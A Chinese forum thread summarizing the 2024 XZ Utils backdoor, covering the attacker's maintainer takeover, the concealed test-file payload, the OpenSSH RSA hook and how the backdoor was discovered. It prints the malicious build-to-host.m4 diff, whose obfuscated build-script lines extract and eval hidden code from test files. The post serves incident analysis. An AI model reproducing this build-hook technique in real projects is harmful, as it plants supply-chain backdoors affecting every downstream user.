yuluo829 发表于 2024-3-31 11:37

XZ Utils backdoor(2024.03.29)

# XZ Utils backdoor(2024.03.29)

前不久,在 `2024年3月29日`,`xz-utils` 中发现了后门漏洞。这是一套为开发人员提供无损压缩的软件。通常用于压缩 ttarballs, software packages, kernel images, and initramfs 镜像。分布非常广泛,为了方便起见,普通 Linux 或 macOS 系统都会安装它。

> 因此此漏洞涉及范围为全世界内的所有 linux 和 mac os 系统。

## 大致总结

1. 攻击者 `JiaT75 (Jia Tan,github 账号已经被关停)` 于 2021 年注册了 GitHub 账号,之后积极参与 xz-utils 的维护,积极贡献。获得了 commit 代码的权利。
2. JiaT75 在最近的一次 commit code 时,故意加入了 `bad-3-corrupt_lzma2.xz` 和 `good-large_compressed.lzma` 两个看起来并不起眼的测试用二进制数据。但是在编译脚本中,在特定条件下会从这两个文件中读取内容对项目编译结果进行修改,致使编译结果和公开的源代码不同。
3. 目前 `oss-security`和 github 等分析代码显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 `RSA_public_decrypt` 函数,使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。
4. 只要是同时使用了 `liblzma` 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
5. 受影响的 `xz-utils` 包已经被并入 `Debian os testing` 中进行测试,攻击者同时也在尝试并入 `fedora` 和 `ubuntu`。
6. 巧合的是,注入的代码存在某种 Bug,导致特定情况下 `sshd` 的 CPU 占用飙升。被一位 pg committer 注意到了,发现了这个阴谋并报告给 `oss-security`,致使此事败漏。 如果不是因为这个 Bug,那么这么后门有很大可能被并入主流发行版的 `stable` 版本,将会是比肩 `心脏滴血漏洞(CVE-2014-0160` 的重大安全事件。
7. `JiaT75` 抢在 `ubuntu beta freeze` 的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。但是,总后还是被发现。

## 相关代码

git commit 注入的代码如下:

```shell
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN(,

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
   cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN(,
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
   [$1]_c_make='\"$([$1])\"'
   fi
+if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+else
+    gl_[$1]_config=''
+fi
+_LT_TAGDECL([], , )dnl
+_LT_TAGDECL([], _prefix], )dnl
+_LT_TAGDECL([], , )dnl
+_LT_TAGDECL([], [[$1]_c_make], )dnl
+_LT_TAGDECL([], _config], )dnl
   AC_SUBST([$1_c_make])
+
+dnl If the host conversion code has been placed in $gl_config_gt,
+dnl instead of duplicating it all over again into config.status,
+dnl then we will have config.status run $gl_config_gt later, so it
+dnl needs to know what name is stored there:
+AC_CONFIG_COMMANDS(, , _config"])
])

dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN(,
[
+dnl Search for Automake-defined pkg* macros, in the order
+dnl listed in the Automake 1.10a+ documentation.
+gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+else
+    HAVE_PKG_CONFIGMAKE=0
+fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnl
```

## 涉及个人

xz-utils 有两个维护者:

- Lasse Collin ( *Larhzu* ) 从一开始(~2009 年)就一直维护着 xz,在此之前主要维护`lzma-utils`.
- Jia Tan ( *JiaT75* ) 在过去 `2~2.5` 年里开始为 `xz-utils` 做出贡献,并获得提交访问权限,然后大约 1.5 年前获得 manager 权限。

目前相关的 github 账号已经被封,相关网站托管在 github 上,也已经暂停。之后可能会回归到 `tukaani.org` 域名下。

## 参考来源:

- https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
- https://tukaani.org/xz-backdoor/
- https://lwn.net/Articles/967180/

woaicrack 发表于 2024-3-31 11:51

正好有需要,太感谢了

urdarling 发表于 2024-3-31 22:42

我感觉他这个人就是为了炫技,因为攻击的目标基本就是服务器端,而个人电脑里面才容易套出资金

yuluo829 发表于 2024-3-31 23:23

urdarling 发表于 2024-3-31 22:42
我感觉他这个人就是为了炫技,因为攻击的目标基本就是服务器端,而个人电脑里面才容易套出资金

不晓得了,哈哈哈,反正是潜伏两年半。
页: [1]
查看完整版本: XZ Utils backdoor(2024.03.29)